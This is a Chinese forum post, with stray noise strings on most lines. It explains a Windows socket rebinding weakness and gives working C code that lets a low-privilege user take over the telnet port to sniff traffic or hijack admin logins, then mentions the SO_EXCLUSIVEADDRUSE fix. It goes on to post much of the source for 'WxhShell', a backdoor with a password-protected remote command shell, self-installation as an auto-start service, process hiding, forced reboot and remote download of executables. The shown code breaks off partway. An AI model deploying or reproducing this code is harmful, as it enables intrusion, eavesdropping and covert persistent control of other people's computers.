社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 17230阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: $7Tj<;TV  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /sSif0I24  
"x3!F&  
  saddr.sin_family = AF_INET; E_xk8X~  
^w*vux|F  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); (<|1/^~=  
$BOIa  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); A.!3{pAb  
A<[w'"  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 H .sfM   
Bf,}mCq  
  这意味着什么?意味着可以进行如下的攻击: 8PGuZw<  
2bpFQ8q  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Ez>!%Hpn\  
?bG82@-  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ]mi)x6 3^  
ZB,UQ~!Yr  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 3TKl  
d5=yAn-+=  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  W6yz/{Rf  
9:Z|Z?>?  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Nw3IDy~T  
K$ |!IXs  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 PW-sF  
fR lJ`\ t  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 bj+foNvu\  
*18J$  
  #include 8j@ADfZ9  
  #include GF*E+/ ;  
  #include AyMbwCR"X  
  #include    `?vI_>md'!  
  DWORD WINAPI ClientThread(LPVOID lpParam);   zXeBUbVi  
  int main() MAG /7T5  
  { C2K<CDVw  
  WORD wVersionRequested; 3;EBKGg|  
  DWORD ret; elb}] +  
  WSADATA wsaData; qo}u(p Oj|  
  BOOL val; l,E4h-$  
  SOCKADDR_IN saddr; $/P\@|MqYQ  
  SOCKADDR_IN scaddr; KRj3??b  
  int err; rj;~SC{  
  SOCKET s; G)7J$4R  
  SOCKET sc; h,2?+}Fn  
  int caddsize; N|s8PIcSp  
  HANDLE mt; 7, :l\t  
  DWORD tid;   xh!aB6m8R  
  wVersionRequested = MAKEWORD( 2, 2 ); )0 i$Bo  
  err = WSAStartup( wVersionRequested, &wsaData ); !Y]%U @4}  
  if ( err != 0 ) { ?} U l(  
  printf("error!WSAStartup failed!\n"); O:[@?l  
  return -1; lKy4Nry9  
  } *(Us:*$W.  
  saddr.sin_family = AF_INET; _." X# }W  
   V4x6,*)e  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 *|/kKvN  
_zFJ]7Ym.)  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); OMN|ea.O  
  saddr.sin_port = htons(23); ~bX ) %jC  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %967#XI[y  
  { 1s#GY<<  
  printf("error!socket failed!\n"); C<iOa)_@Q  
  return -1; { :_qa|  
  } C~VyM1inD  
  val = TRUE; W:=CpbwENX  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ZY> u4v.  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ;F>I+l_X  
  {  2dBjc{  
  printf("error!setsockopt failed!\n"); )N]%cO(^  
  return -1; azp XE  
  } [ r=U-  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; yg@}j   
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 \E2S/1p  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 h>jp.%oOu  
3x~AaC.j  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) AV["%$ :  
  { Dlu]4n[LB  
  ret=GetLastError(); &pLCN[a  
  printf("error!bind failed!\n"); ~dj4Q eu  
  return -1; <<9Y=%C+  
  } >oc&hT  
  listen(s,2); . aqP=  
  while(1) +jz%:D  
  { %c,CfhEV%&  
  caddsize = sizeof(scaddr); 9IG3zMf  
  //接受连接请求 3+# "4O  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); s$;IR c5!6  
  if(sc!=INVALID_SOCKET)  Ry iS  
  { 4xNzhnp|  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); vE+OL8V  
  if(mt==NULL) r$.v"Wh)  
  { b'~IFNt*^  
  printf("Thread Creat Failed!\n"); 0_5j(   
  break; Y=N; Bj  
  } 4'-GcH  
  } ( -rw]=Qu  
  CloseHandle(mt); B[Fuyy?  
  } t#[u X?  
  closesocket(s); jo8;S?+<|?  
  WSACleanup(); y[@<goT  
  return 0; }8qsE  
  }   GCEq3 ^/  
  DWORD WINAPI ClientThread(LPVOID lpParam) #T8$NZA  
  { = g)G!  
  SOCKET ss = (SOCKET)lpParam; 5&*B2ZBzH  
  SOCKET sc; 6M758K6v  
  unsigned char buf[4096]; )<1}`9G  
  SOCKADDR_IN saddr; |K6hY-uC  
  long num; H/6GD,0  
  DWORD val; s%R'c_cGZ  
  DWORD ret; ~h*p A8^L  
  //如果是隐藏端口应用的话,可以在此处加一些判断 xiPP&$mg  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   `L=$ ,7`  
  saddr.sin_family = AF_INET; R7 *ek_  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Li;(~_62a]  
  saddr.sin_port = htons(23); QWBQ 0#L  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \aO.LwYm;:  
  { a,N?GxK~  
  printf("error!socket failed!\n"); nu#_,x<LS  
  return -1; p@7[w@B\c  
  } (^Kcyag4  
  val = 100; D;0xROW8{  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :{v:sK  
  { rpT{0 >5  
  ret = GetLastError(); h8!;RN[  
  return -1; KGm"-W  
  } ){oVVLs  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) W}5H'D  
  { _(8HK  
  ret = GetLastError(); h7S&tW GU  
  return -1; wB;'+d&  
  } zz4A,XrD  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) =Gq 'sy:h  
  { Ng} AEAFp  
  printf("error!socket connect failed!\n"); 9GZKT{*  
  closesocket(sc); Y(]&j`%  
  closesocket(ss); cKX6pG  
  return -1; ^vJPeoW  
  } ;U|^Tsuc`  
  while(1) Z<#beT6  
  { -vfV;+3  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 }hFjl4`xa  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^E7>!Lbvx  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 7n~BDqT  
  num = recv(ss,buf,4096,0); kE".v|@  
  if(num>0) u= K?K  
  send(sc,buf,num,0); gi7As$+E  
  else if(num==0) n8M/Y}mH   
  break; M,Px.@tw.  
  num = recv(sc,buf,4096,0); imtW[y+4  
  if(num>0) 1lNg} !)[K  
  send(ss,buf,num,0); 9 0[gXj  
  else if(num==0) GGs3r;(t  
  break; t p.qh]2c  
  } g'`J'6Pn  
  closesocket(ss); )]%GNdU  
  closesocket(sc); k:w\4Oqd  
  return 0 ; <)]B$~(a  
  } Iy](?b  
5}R /C{fs  
&:-`3J-  
========================================================== $s hlNW\  
5CkM0G`  
下边附上一个代码,,WXhSHELL J|Lk::Ri  
id.o )=  
========================================================== L$`!~z 1  
A]{8 =  
#include "stdafx.h" @Ey(0BxNu  
MWCP/~>a2  
#include <stdio.h> C<6IiF[>%  
#include <string.h> 3Nh;^  
#include <windows.h> 0rT-8iJp4P  
#include <winsock2.h> {nbD5 ?   
#include <winsvc.h> E YUr.#:  
#include <urlmon.h> #TUsi,jG  
~ S R:,R  
#pragma comment (lib, "Ws2_32.lib") UG+wRX :dA  
#pragma comment (lib, "urlmon.lib") 2D MH@U2  
"$#x+|PyC  
#define MAX_USER   100 // 最大客户端连接数 L `+\M+  
#define BUF_SOCK   200 // sock buffer XTyn[n  
#define KEY_BUFF   255 // 输入 buffer fh \<tnY  
c*_I1}l  
#define REBOOT     0   // 重启 F5J=+Q%8[&  
#define SHUTDOWN   1   // 关机 5RTAM  
9r7QE&.  
#define DEF_PORT   5000 // 监听端口 D;<Q m,[  
6[c LbT0  
#define REG_LEN     16   // 注册表键长度 \nx ^=4*yk  
#define SVC_LEN     80   // NT服务名长度 ~?6V-m{>#  
q[b-vTzI  
// 从dll定义API /,= wP)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); R6)p4#|i  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /Yx 1S'5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); G_[|N>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "^<:7_Y  
5<a)SP 0  
// wxhshell配置信息 (1(3:)@S6  
struct WSCFG { bK("8T\?  
  int ws_port;         // 监听端口 !HqIi@>8  
  char ws_passstr[REG_LEN]; // 口令 +&a2aEXF  
  int ws_autoins;       // 安装标记, 1=yes 0=no F)_Rs5V:(  
  char ws_regname[REG_LEN]; // 注册表键名 J(M0t~RZ  
  char ws_svcname[REG_LEN]; // 服务名 *D,+v!wG9  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .^dj B x  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 j>?H^fB  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _QBd3B %  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8+ B.x  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" bg_Zf7{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 w_,.  
uiE9#G  
}; 1w+&Y;d|  
cPI #XPM=  
// default Wxhshell configuration }.2pR*W  
struct WSCFG wscfg={DEF_PORT, b3EW"^Ar  
    "xuhuanlingzhe", xv 7^  
    1, YIfPE{,  
    "Wxhshell", CHWyy  
    "Wxhshell", cdP+X'Y4D  
            "WxhShell Service", ))G%C6-  
    "Wrsky Windows CmdShell Service", u;& `_=p  
    "Please Input Your Password: ", 4m#i4  
  1, d)r=W@tF]  
  "http://www.wrsky.com/wxhshell.exe", \D,0  
  "Wxhshell.exe" ,`/!0Wmt  
    }; U`<EpO{j|  
'_r|L1  
// 消息定义模块 w69`vK  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >|@ /GpD  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ax0u \(p<^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; L\_8}\  
char *msg_ws_ext="\n\rExit."; na  $z\C\  
char *msg_ws_end="\n\rQuit."; :XBeGNI*#  
char *msg_ws_boot="\n\rReboot..."; vCbqZdy?  
char *msg_ws_poff="\n\rShutdown..."; kZ`60X%wE  
char *msg_ws_down="\n\rSave to "; _h@7>+vl~  
]ueq&|  
char *msg_ws_err="\n\rErr!"; bU2)pD!N  
char *msg_ws_ok="\n\rOK!"; Gk799SDL  
'D\(p,(Mt  
char ExeFile[MAX_PATH]; A_Sl#e  
int nUser = 0; >\} 2("bv  
HANDLE handles[MAX_USER]; fgn*3 pg  
int OsIsNt; EW#.)@-  
a2Q9tt>Q  
SERVICE_STATUS       serviceStatus; &ks>.l\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; a/L?R Uu  
jW2z3.w  
// 函数声明 1ZhJ?PI,9{  
int Install(void); 5>}L3r>a;  
int Uninstall(void); W1r-uR  
int DownloadFile(char *sURL, SOCKET wsh); y7d)[d*Mz  
int Boot(int flag); D\j1`  
void HideProc(void); -U%wLkf|  
int GetOsVer(void); HX+'{zm]  
int Wxhshell(SOCKET wsl); D9#e2ex]  
void TalkWithClient(void *cs); s( Kf%ZoE  
int CmdShell(SOCKET sock); GE~mu76%  
int StartFromService(void); KQ3)^J_Z  
int StartWxhshell(LPSTR lpCmdLine); Z9=Cw0( w?  
n8zUL1:R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); S 5m1~fz  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); u"pn'H  
6<]&T lS]  
// 数据结构和表定义  <MvFAuAT  
SERVICE_TABLE_ENTRY DispatchTable[] = f_D1zU^  
{ /,E%)K;  
{wscfg.ws_svcname, NTServiceMain}, 6sQ"go$}  
{NULL, NULL} QnaMjDh$6  
}; <Er|s^C  
-BQM i0  
// 自我安装 (zJ TBI'  
int Install(void) !R{L`T0  
{ ']Y:f)i#  
  char svExeFile[MAX_PATH]; ' 'UiQ   
  HKEY key; Am  kHVg  
  strcpy(svExeFile,ExeFile); CmJ*oXyi  
/=m=i%& #  
// 如果是win9x系统,修改注册表设为自启动 ]7dm`XV  
if(!OsIsNt) { iKp4@6an  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KkAk(9Q/3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1|z>} xP  
  RegCloseKey(key); VEb}KFyP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ix7N q7!N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P-^Z7^o-bX  
  RegCloseKey(key); ub,Sj{Mq"  
  return 0; wG^{Jf&@$  
    } 5"XcVH4g  
  } oh& P Q{  
} {T:2+iS9:  
else { |!57Z4X  
l Fzb$k}_{  
// 如果是NT以上系统,安装为系统服务 )JuD !  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4!/{CGP  
if (schSCManager!=0) A`X$jpAn&  
{ h"wXmAf4%  
  SC_HANDLE schService = CreateService '^7Sa  
  ( I"T_<  
  schSCManager, Vs{|:L+  
  wscfg.ws_svcname, 5Z`f)qE  
  wscfg.ws_svcdisp, 5G\vV]RR&  
  SERVICE_ALL_ACCESS, x]y~KbdeB  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , i/)Uj-*G)  
  SERVICE_AUTO_START, "'6KQnpZ  
  SERVICE_ERROR_NORMAL, O$#`he/jm  
  svExeFile, lD !^MqK  
  NULL, ~5cLI;4h  
  NULL, =C<_rBY  
  NULL, tgg *6lc  
  NULL, gfih;i.pY  
  NULL JRU)AMMU&  
  ); 5 ^f>L2  
  if (schService!=0) 7U?x8%H*  
  { sEhdkN}6  
  CloseServiceHandle(schService); \!G&:<h  
  CloseServiceHandle(schSCManager); q1NAKcA<U  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); bX5>qqB]  
  strcat(svExeFile,wscfg.ws_svcname); LG&~#x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?N$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /o8h1L=  
  RegCloseKey(key); AX]lMe  
  return 0; oqUtW3y  
    } + s1mm c  
  } Cd6^aFoK!  
  CloseServiceHandle(schSCManager); Q> @0'y=s  
} fTV:QAa;  
} 9{xP~0g  
hQ8/-#LO_  
return 1; ur*1I/v  
} g4I(uEJk  
`){*JPl  
// 自我卸载 z#bO FVg#  
int Uninstall(void) "{L%5:H@  
{ m:Z=: -x  
  HKEY key; p0'A\@|  
V><5N;w  
if(!OsIsNt) { l_+s$c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b_\aSEaTT  
  RegDeleteValue(key,wscfg.ws_regname); j"J2&Y2  
  RegCloseKey(key); A[=)Zw "  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *9?-JBT&F  
  RegDeleteValue(key,wscfg.ws_regname); NaB8cLURp  
  RegCloseKey(key); tC-(GDGy5  
  return 0; s{`r$:!  
  } h_x"/z&  
} m{gt(n  
} ]rC6fNhQ  
else { '$q'Wl)  
8Ay#6o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !Edc]rg7  
if (schSCManager!=0) pmIQD"  
{ FeLWQn/aV6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?&"cI5-  
  if (schService!=0) \7*9l%  
  { f>-OwL($P  
  if(DeleteService(schService)!=0) { 73 D|gF*  
  CloseServiceHandle(schService); QjF.U8  
  CloseServiceHandle(schSCManager); OHM.xw*?.  
  return 0; &{/ `Q ,  
  } p>|;fS\`@}  
  CloseServiceHandle(schService); d!e$BiC  
  } Gzc{2"p  
  CloseServiceHandle(schSCManager); osPX%k!yw  
} Xk(c2s&  
}  V:F)m!   
IWuR=I$t  
return 1; VU}UK$JN  
} +Rxf~m(pV  
"A,]y E  
// 从指定url下载文件 tlI3jrgw  
int DownloadFile(char *sURL, SOCKET wsh) G5bi,^G7  
{ qmtVk  
  HRESULT hr; B5zu?AG  
char seps[]= "/"; li%=<?%T  
char *token; ^e<0-uM" s  
char *file; ZMy7z|  
char myURL[MAX_PATH]; z Sj.Y{J  
char myFILE[MAX_PATH]; nWmc  
tjuW+5O  
strcpy(myURL,sURL); P0k|33;7L  
  token=strtok(myURL,seps); rsOon2|  
  while(token!=NULL) E3_EXz9 h  
  { )Xl/|YD  
    file=token; k]ptk^  
  token=strtok(NULL,seps); 2 ,E&}a|;b  
  } !`)-seTm  
P_,f  
GetCurrentDirectory(MAX_PATH,myFILE); P[% W[E<  
strcat(myFILE, "\\"); O&E1(M|*>  
strcat(myFILE, file); )=[K$>0k  
  send(wsh,myFILE,strlen(myFILE),0); pj?+cy v~  
send(wsh,"...",3,0); x4 4)o:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;BejFcb  
  if(hr==S_OK) TW:vL~L  
return 0; ,BOB &u  
else XDz![s  
return 1; }i|o":-x+  
KFCuv15w,3  
} ;)u}`4~L  
M!;H3*  
// 系统电源模块 m/cbRuPWgP  
int Boot(int flag) KaBze67<|  
{ l/DV ?27  
  HANDLE hToken; #W~5M ?+  
  TOKEN_PRIVILEGES tkp; k_-=:(Z  
V[rNJf1z  
  if(OsIsNt) { MS_&;2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); vXq=f:y4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); v}+axu/?  
    tkp.PrivilegeCount = 1; s~IOc%3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; vObP(@0AM  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {ylc 2 1  
if(flag==REBOOT) { B.'@~$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) d3&gHt2  
  return 0; jf$6{zO6j  
} \G#Qe*"'K  
else { V%<<Udu<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) i>7f9D7  
  return 0; * jT r  
} w4:n(.;HK  
  } NQ'^ z  
  else { tURIDj%#p  
if(flag==REBOOT) { 'R*xg2!i  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7 I&7YhFI  
  return 0; ":Kn@S'{(  
} !6@xX08z  
else { l^u P?l"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) SV<*qz  
  return 0; +LV'E#h!Q  
} 6!n"E@Bwu  
} 1 _fFbb"  
+y6|Nq  
return 1; n{r+t=X  
} 8!VjXj"  
"f!*%SR: 1  
// win9x进程隐藏模块 u5H#(&Om  
void HideProc(void) 6x]|IWvW  
{ jm.pb/  
,h #!!j\j6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Rb#Z'1D'G  
  if ( hKernel != NULL ) yx{Ac|<mR  
  { \#LKsQa  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); cuq7eMG6z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (PsA[>F  
    FreeLibrary(hKernel); "sAR< 5b  
  } |GdA0y\v*}  
D'fP2?3FK  
return; g~FB&U4c  
} c`doR(oZ  
g_0"T}09(  
// 获取操作系统版本 E0xUEAO  
int GetOsVer(void) 2Mu-c:1  
{ *VHBTO9  
  OSVERSIONINFO winfo; z6Su`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2*K0~ b`  
  GetVersionEx(&winfo); oq8~PTw  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :Jhx4/10  
  return 1; ?aOR ^ K  
  else 1Y}gki^F  
  return 0; T2Y`q'  
} D1o 8Wo  
\lKQDct. -  
// 客户端句柄模块 5Hr(9)  
int Wxhshell(SOCKET wsl)  %ef+Z  
{ )z/j5tnvm  
  SOCKET wsh; wf|CE410  
  struct sockaddr_in client; *zX<`E  
  DWORD myID; }Q\yem  
zE<vFP-1v  
  while(nUser<MAX_USER) 6b<t|zb  
{ }ZVNDvGH  
  int nSize=sizeof(client); ?a}eRA7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *2:)Rf  
  if(wsh==INVALID_SOCKET) return 1; l' "<  
-F8%U:2a  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); HowlJ[km%  
if(handles[nUser]==0) h(G&X9*  
  closesocket(wsh); ;A- Ef  
else 6\::Ku4_2  
  nUser++; dcHkb,HsO  
  } >$R-:>~zN  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); jDXmre?  
_ORW'(:Z  
  return 0; tmb0zuJ&C!  
} da I-*  
t:M>&r:BL  
// 关闭 socket 0HNe44oI+D  
void CloseIt(SOCKET wsh) fcw \`.  
{ A=XM(2{aN  
closesocket(wsh); H.>KYiv+  
nUser--; kQ'G+Kw~F  
ExitThread(0); YmF`7W  
} vm4]KEyrX  
{<kl)}  
// 客户端请求句柄 .-WCB  
void TalkWithClient(void *cs) 8V}c(2m  
{ |ZZ3Qr+%S  
&Q&$J )0  
  SOCKET wsh=(SOCKET)cs; 8uI^ B  
  char pwd[SVC_LEN]; !. 0W?6yo  
  char cmd[KEY_BUFF]; X(WG:FP27  
char chr[1]; 6?,r d   
int i,j; ~)ByARao=  
rzl2Oj"4  
  while (nUser < MAX_USER) { OmoY] 8N}  
Q'A->I<;_s  
if(wscfg.ws_passstr) { (1Kh9w:^"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M2oKLRt)L  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Pc4sReo'  
  //ZeroMemory(pwd,KEY_BUFF); ?^"S%Vb  
      i=0; D~mGv1t"  
  while(i<SVC_LEN) { ~+T~}S  
UyF]gO  
  // 设置超时 el[6E0!@  
  fd_set FdRead; [n:R]|^a  
  struct timeval TimeOut; WrG)&&d  
  FD_ZERO(&FdRead); oa9T3gQ?  
  FD_SET(wsh,&FdRead); -7pZRnv  
  TimeOut.tv_sec=8; Zmp ^!|=X!  
  TimeOut.tv_usec=0; 5,mb]v0k  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); M~"K@g=Wr  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); xknP `T  
=j}00,WH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t;4{l`dk  
  pwd=chr[0]; ;XTP^W!6f  
  if(chr[0]==0xd || chr[0]==0xa) { 3 F4I{L  
  pwd=0; TI*uNS;-  
  break; :_?>3c}L  
  } s\ ~r 8  
  i++; f|< *2Mk  
    } qQ|v~^  
|~Z+Xl a  
  // 如果是非法用户,关闭 socket M"V?fn'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )fC^h=Qp  
} 9pk<=F  
a"ht\v}1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); U9;AU] A  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #nu?b?X'  
3N<FG.6  
while(1) { QU\|RX   
l9SbuT$U  
  ZeroMemory(cmd,KEY_BUFF); #PFf`7b,z  
Y=Bk;%yT=  
      // 自动支持客户端 telnet标准   S(rA96n  
  j=0; #^eviF8  
  while(j<KEY_BUFF) { /r]IY.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gE:qMs;  
  cmd[j]=chr[0]; rt."P20T  
  if(chr[0]==0xa || chr[0]==0xd) { QRa>W/N  
  cmd[j]=0; sYp@.?Tz  
  break; ya|7hz{  
  } e&wW lB![  
  j++; v_oNM5w  
    } #Ok*O r  
A!hkofQ  
  // 下载文件 mF#{"  
  if(strstr(cmd,"http://")) { ~xzRx$vU  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6{1c S  
  if(DownloadFile(cmd,wsh)) <G#JPt6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); eyUo67'7  
  else N|8TE7- F|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U*,5t81  
  } {HQ?  
  else { NPKRX Li%  
U?H!:?,C  
    switch(cmd[0]) { s_VP(Fe@K  
  )Ibp%'H  
  // 帮助 EAx@a%  
  case '?': { rbs:qLa%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,qt9S0 QS  
    break; ,AWN *OS  
  } Joe k4t&0<  
  // 安装 \J:/l|h  
  case 'i': { M"5,8Q`PkI  
    if(Install()) +MXI;k_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HP&+ 8  
    else *y F 9_\n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M2mte#h  
    break; s8eFEi  
    } W}nD#9tL  
  // 卸载 Ean@GDLz8  
  case 'r': { )CEfG  
    if(Uninstall()) Qnph?t>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Oe*emUX7  
    else c`AtK s)u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @)|62Dv /  
    break; {_l@ws  
    } %Q rf ]  
  // 显示 wxhshell 所在路径 WHMt$W}%  
  case 'p': { /J8y[aa  
    char svExeFile[MAX_PATH]; -+-@Yq$  
    strcpy(svExeFile,"\n\r"); 5c! ~WckbJ  
      strcat(svExeFile,ExeFile); Z6A*9m  
        send(wsh,svExeFile,strlen(svExeFile),0); R/xeC [r  
    break; tLJ"] D1w  
    } PiP\T.XANa  
  // 重启 zT*EpIa+LS  
  case 'b': { [n44;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -y)ij``VY  
    if(Boot(REBOOT)) 6ix8P;;}#  
